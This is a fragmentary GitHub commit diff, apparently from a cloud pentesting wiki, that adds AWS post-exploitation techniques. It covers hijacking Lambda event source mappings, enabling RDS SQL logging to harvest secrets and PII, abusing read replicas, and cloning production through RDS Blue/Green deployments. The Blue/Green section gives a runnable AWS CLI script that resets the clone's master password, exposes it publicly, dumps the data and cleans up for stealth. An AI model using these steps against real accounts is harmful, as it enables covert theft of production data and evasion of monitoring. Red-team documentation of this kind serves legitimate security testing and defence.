You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
70
70
71
71
{{#ref}}
72
-
aws-lambda-event-source-mapping-target-hijack.md
72
+
aws-lambda-event-source-mapping-hijack.md
73
73
{{#endref}}
74
74
75
75
### AWS Lambda – EFS Mount Injection data exfiltration
### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs
180
+
181
+
Abuse `rds:ModifyDBParameterGroup` with RDS log download APIs to capture all SQL statements executed by applications (no DB engine credentials needed). Enable engine SQL logging and pull the file logs via `rds:DescribeDBLogFiles` and `rds:DownloadDBLogFilePortion` (or the REST `downloadCompleteLogFile`). Useful to collect queries that may contain secrets/PII/JWTs.
Impact: Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
Abuse RDS read replicas to gain out-of-band read access without touching the primary instance credentials. An attacker can create a read replica from a production instance, reset the replica's master password (this does not change the primary), and optionally expose the replica publicly to exfiltrate data.
Impact: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.
298
+
299
+
```bash
300
+
# 1) Recon: find non-Aurora sources with backups enabled
Abuse RDS Blue/Green to clone a production DB into a continuously replicated, read‑only green environment. Then reset the green master credentials to access the data without touching the blue (prod) instance. This is stealthier than snapshot sharing and often bypasses monitoring focused only on the source.
337
+
338
+
```bash
339
+
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
# 3) Reset the green master password (does not affect blue)
359
+
aws rds modify-db-instance \
360
+
--db-instance-identifier <GREEN_DB_ID> \
361
+
--master-user-password 'Gr33n!Exfil#1' \
362
+
--apply-immediately
363
+
364
+
# Optional: expose the green for direct access (attach an SG that allows the DB port)
365
+
aws rds modify-db-instance \
366
+
--db-instance-identifier <GREEN_DB_ID> \
367
+
--publicly-accessible \
368
+
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
369
+
--apply-immediately
370
+
371
+
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
372
+
aws rds describe-db-instances \
373
+
--db-instance-identifier <GREEN_DB_ID> \
374
+
--query 'DBInstances[0].Endpoint.Address' --output text
375
+
376
+
# Then connect with the master username and the new password and run SELECT/dumps
377
+
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
378
+
379
+
# 5) Cleanup – remove blue/green and the green resources
380
+
aws rds delete-blue-green-deployment \
381
+
--blue-green-deployment-identifier <BGD_ID> \
382
+
--delete-target true
383
+
```
384
+
385
+
Impact: Read-only but full data access to a near-real-time clone of production without modifying the production instance. Useful for stealthy data extraction and offline analysis.
386
+
387
+
388
+
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
389
+
390
+
Abuse Aurora to enable the RDS Data API HTTP endpoint on a target cluster, reset the master password to a value you control, and run SQL over HTTPS (no VPC network path required). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
0 commit comments